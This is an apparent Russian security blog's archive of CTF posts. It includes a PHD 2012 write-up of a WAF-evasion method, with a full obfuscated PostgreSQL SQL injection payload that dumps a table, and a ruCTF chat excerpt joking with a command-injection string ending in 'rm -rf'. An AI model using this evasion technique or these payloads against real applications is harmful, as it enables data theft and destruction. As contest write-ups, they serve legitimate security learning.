Архив

Posts Tagged ‘CTF’

Прохождение конкурса WAF Bypass на PHD’2012

Одним из конкурсов на форуме PHD 2012 был WAF Bypass, который организовала компания ONsec.

Суть конкурса достаточно проста. Дано веб-приложение, принимающее один-единственный параметр. Обработка параметра на стороне веб-приложения осуществляется без должной фильтрации, а сам параметр используется в SQL-запросе. Да-да, наличие недостатка «Возможность внедрения операторов языка SQL» никто не скрывает. Приложение защищено WAF’ом.
Требуется получить данные из таблицы с заданным именем.

Стоит отметить, что задание можно было выполнять с различными backend-СУБД: MySQL и PostgreSQL.

О конкурсе мы с Георгием Носеевичем узнали в конце первого дня форума, добравшись по домам. Одновременно же узнали о выходе предпоследней серии Game of Thrones, которая была немедленно скачана, спасибо LostFilm, и поставлена для просмотра. Достаточно забавно, но мы штурмовали WAF примерно столько же и примерно с такой же композиционной структурой, как и войска Станиса Баратеона — Королевскую Гавань. Только с противоположным исходом :)

Итак, для начала мы должны были понять, чем руководствуется WAF при принятии решений о блокировке/пропуске запросов к приложению. Ключевые слова SQL (UNION, LIMIT, SUBSTRING и пр.) по отдельности и в обычном тексте не фильтровались. Логично: иначе бы на форум, защищенный таким WAF’ом, нельзя было отправить пост про ограничения в Советстком Союзе!
Для знаков пунктуации (точка, запятая, скобки, кавычки) наблюдалось немного другое поведение: в тексте — ок, отдельно — не ок. Дальнейшее исследование данного поведения привело нас к предположению о том, что решение о вредоносности запроса нелинейно зависит от относительной плотности знаков пунктуации. Так, запрос со значением abc.a.bc блокировался, а запрос со значением abc.aaaaaaaaaaaaaaaaaaaaaaa.bc — уже нет.

Далее мы выдвинули рабочую гипотезу о том, что произвольный SQL-запрос можно преобразовать к виду, в котором между любыми двумя соседними знаками пунктуации будет произвольное число обычных знаков, а семантика запроса сохранится прежней.

Гипотеза была отправлена в работу. Смотрели для СУБД postgresql. Итак, вот правила преобразований, которые мы сформулировали:

1. Любое логическое выражение может быть преобразовано к эквивалентному путем добавления произвольного количества конъюнкций с истиной: expr and true.

2. Любое число N может быть представлено в виде case when true then N else 0 end.

3. Любая строка ‘secret’ может быть преобразована к виду substr(case when true then ‘secretsecretsecret’ else null end, 1, 6).

4. Любой вложенный вызов функций f1(f2()) может быть преобразован к виду f1(case when true then f2() else null end).

5. Правила надо применять к целевому SQL-запросу рекурсивно — сначала 4-ое правило для вложенных функций, потом 3-ье правило для строк, потом до тех пор, пока WAF срабатывает, применять правила для преобразования чисел и логических выражений.

Далее Георгий Носеевич реализовал этот алгоритм на Питоне, и мы применили его к базовому SQL-запросу, который мог бы проэксплуатировать уязвимость в отсутствие WAF’а:

http://waf.phdays.com/postgres.php?l=a’||cast(cast(table_to_xml(‘public.secrets’,true,true,login) as text) as integer)—

в результате отработки алгоритма получили вот такой вот вектор:

http://waf.phdays.com/postgres.php?l=a’||cast(case when true and true and true and true and true and true and true and true and true and true and true and true and true and true and true and true and true and true and true and true and true then cast(case when true and true and true and true and true and true then table_to_xml(case when true then ‘public.secrets’ else login end,true and true, true and true,case when true and true and true and true and true and true and true and true and true and true and true and true and true and true and true then login else login end) when true and true and true and true and true and true and true and true and true and true then null end as text) when true and true and true and true and true and true and true and true and true and true and true and true and true and true and true and true and true and true and true and true and true and true and true and true and true and true and true and true and true and true and true and true and true and true and true and true and true and true and true and true and true and true and true and true and true and true and true and true and true and true and true and true and true and true and true and true and true and true and true and true and true and true and true and true and true and true and true and true and true and true and true and true and true and true and true and true and true and true and true and true and true and true and true and true and true and true and true and true then null end as integer)—

и долгожданный флаг — 4e84a5534f3433a6f8277629de58d9bd.

Большое спасибо Владимиру Воронцову за интересный конкурс, в котором мы с большим удовольствием смогли использовать научный подход :)

Сам Владимир написал про идею решения этого конкурса у себя в блоге (да, там, конечно, в квантиллион раз проще, чем у нас!).

И, конечно, отдельное спасибо за призы от организаторов. Даешь новых конкурсов по WAF bypass!

Финал ruCTF 2012

Недавно состоялся финал главного российского CTF — ruCTF. В этом году в финал попали 12 команд — часть команд по итогам отборочных и часть команд за вклад в развития CTF’ов в России (т.е. они делали свои CTF’ы).

Наша команда Bushwhackers заняла на отборочных этого года 8-ое место (против первого места на отборочных 2011 года). Отборочные в этом году были, однозначно, интереснее и сложнее, чем квалсы 2011 года. Как мне кажется, это частично связано с тем, что в этом году отборочные устраивала команда SiBears, а не Hackerdom (как обычно), и делала это в первый раз. Думаю, сказалась высокая ответственность и желание сделать все на самом высоком уровне. Отдельных лестных слов заслуживает сайт blackbox.sibears.ru, написанный на Django (мой любимый фреймворк).

Финал в этом году снабжался легендой и проводился по обновленным правилам. Очевидно, авторы были вдохновлены iCTF’ом 2011 года (легенду и правила можно вспомнить вот тут), который был ни больше ни меньше воистину spectacular. Очевидно, мы наблюдаем тенденцию по уходу от плоской модели монетизации флагов в очки к более сложным моделям.

Предвижу, что скоро на каком-нибудь CTF мы будем, захватывая флаги от тех или иных сервисов и защищая сервисы различных классов, прокачивать различные умения своего виртуального героя (attack & defense, получать equipment в виде бонусов за решение miscellaneous tasks и т.п.). В конце игры герои будут импортироваться в Mortal Kombat или Heroes of Might and Magic для завершающей разборки :)

В финале ruCTF командам были предложены образы Windows 2003 с сервисами на языках Erlang, F#, Ruby (RoR), perl, C++. Что ж, необычно! Наша команда сражалась как лев и заслуженно заняла 6-ое место, с чем я и поздравляю всех ее участников! Одновременно поздравляю победителей ruCTF 2012 — команду [Censored] из Калининграда.

Традиционные благодарности принимают создатели ruCTF — команда Hackerdom. Отдельное спасибо за то, что команда не скатывается в штампование одинаковых финалов и квалсов, а находит в себе силы и мотивацию придумывать и реализовывать что-то новое. Так победимЪ!

В завершение привожу выдержку из лога нашего командного чата — вот он истинный дух CTF!

bushwhacker_001: Как только мне удается перебороть себя и сесть за диплом, вы сразу же начинаете флудить в чятике
bushwhacker_001: Не, понятно, можно отключить уведомления
bushwhacker_001: Но селективно только от этого чятика — нельзя
bushwhacker_002: ты можешь отключить popup notification для всех чятиков, и повесить вместо него скрипт, который будет парсить все регекспом и показывать попап только для нужных тебе чятиков
bushwhacker_002: ну в общем я запилил нотификейшены через notify-send вместо скайповского, но чувствую что я себе сам впилил сейчас remote command execution…
bushwhacker_001: достойно
bushwhacker_003: ../../../../../../bin/bash
bushwhacker_001: Ну-ка
bushwhacker_001: » || true ; rm -rf /home/nea
bushwhacker_002: я предусмотрительно успел выпилить, да =)
bushwhacker_001: жаль

Метки: ,

iCTF’2011

Буквально пару слов.
Третьего дня вонзались в iCTF’2011. Мне кажется, это главная игра для всех причастных. При всем уважении к PHD и ruCTF.
Наблюдательный читатель все равно бы заметил нытьё, так что я поною прямо:
— 13 место, 5-ое среди наших команд (в том году были 30-ые);
— сдали позиции с 6-ой до 13-ой за последний час, потому что не смогли допилить челенджи. Очень хочется верить, что не смогли, потому что не тупые, а устали, но это для злорадствующих.
Отдельно хочется отметить большое количество российсикх команд в топе:
— Чуть более копчёных элитных цыплёнков (перевод — авторский, бить — меня; капризель — превед), которые только в последние 15-ть минут про**ли лидерство каким-то упырям. Парни, мы за вас болели всю игру.
— Хакердом. Старые соперники, которые в середине игры никак не воспринимались нами всерьёз, но потом по итогам были выше. Alas for us all.
— Консистентность с ruCTFE — мы были 12-е и тоже 5-е среди наших (и тоже слили с высокого места, но там из-за сообщений об уязвимостях).

So, in anticipation for further challenges, we hail the winners:
1. We_0wn_Y0u from Austria
2. More Smoked Leet Chicken from Russia
3. FluxFingers (Mario, Reiners, cheers) from Germany.

and the last but not the least,
41. Bushbabies from Russia. Our team of youngsters. We wish them good luck and a progressive kick off.

Метки: , ,

За что мне дали баллов на ZeroNights HackQuest

Все, должно быть, уже в курсе, что на берегах Невы в эту пятницу, 25 ноября, состоится первая питерская конференция, посвященная практическим аспектам ИБ — ZeroNights. Организаторы — группа Defcon Russia.

Для нагнетания правильной обстановки и прочего 3,14-ара группой добровольцев, состоящей из Владимира Воронцова, Алексея Синцова и Дарта Вейдера Dirk’а van Veen’а, был разработан и запущен HackQuest.
Спешу рассказать о заданиях, которые я решил. Тег «Далее»

Покой нам только снится или XSS @ WAF Bypass @ CC’11

Говорят, отпуск с ноутбуком называется fuckation.
В первый же день своего отпуска на море не смог удержаться и расчехлил ноутбук, а там — конкурс по обходу WAF, подготовленный Владимиром Воронцовым и ONSEC, доступен в Интернете! Неожиданно!
До трансляции матча ЦСКА-Спартак оставалось всего два часа, которые было решено потратить на прохождение задания по XSS (мне XSS всегда больше нравится, чем SQLi). Тег «Далее»

SSH + Leetmore в финале Defcon CTF

От всей души поздравляю объединенную команду в составе HackerDom, LeetMore, SiBears и Smoked Chicken с третьим местом в Defcon Quals!
Особенно приятно видеть, что парни задвинули PPP (см. Phd CTF) :)
А самое примечательное в этой новости то, что это первая в истории Российская команда, прошедшая в финал Defcon CTF.

Подробности — тут.
Writeup по некоторым заданиям — тут.

p.s. А еще, команда ищет спонсоров для поездки в Лас-Вегас. Plz, RT.

Пару слов за Positive Hack Day 2011

Написал "2011" потому, что очень надеюсь написать аналогичный пост в 2012. Было весело! Видно, что организаторы вложили душу в мероприятие.
Погода и день недели не располгают к написанию связного текста, вы уж простите, поэтому впечатления списком:

  • Ни разу в России до сих пор я не видел столько качественных технических докладов. Мне больше всего понравились доклады Владимира Воронцова и Дениса Баранова. До 19 мая на первом месте у меня была конференция РусКрипто 2010, во многом — за её секцию «Penetration testing internals».
  • Уровень, заданный на RusCrypto CTF 2010, был углублен и расширен. Президент должен быть доволен уровнем инноваций и модернизации соревнования! Жаль, что наши Bushwhackers отдали третье место и пришли на финиш только пятыми. Победители, команда PPP из Питтсбурга, смогли опередить команду Leet More из Питера, занявшую второе место, более чем в два раза. Для CTF — это очень много. Надеюсь, что такой результат правильно мотивирует все российские команды to work harder. Вопрос организаторам: дампы трафика/историю поведения с команды PPP собрали? :)
  • Невысокая конкуренция в конкурсе «Hack to 0wn», который предсказуемо выиграл Никита Тараканов со товарищи. Вообще, меня и моих коллег при наблюдении конкурсов не покидало впечатление, что публичных спецов (за underground типа античата не скажу — проверить трудно, они на такие мероприятия не пойдут) высокого уровня у нас можно по пальцам сосчитать.
  • В качестве продолжения предыдущей мысли, хочется пожелать всем российским специалистам (me included) получить level-up и потихонечку перейти от обнаружения экземпляров уязвимостей известных классов к обнаружению новых классов уязвимостей или новых методов атак (знаменитости последнего времени — Сlickjacking, HPP, DOM-based XSS, padding oracle attacks и т.п.). Кстати, по моему глубокому убеждению, Владимир Воронцов на правильном пути :)
  • Жаль, что на Мастер-классах не было микрофонов.

Предварительные итоги форума: http://phdays.blogspot.com/2011/05/positive-hack-days_21.html
Впечатления от других участников: [1], [2].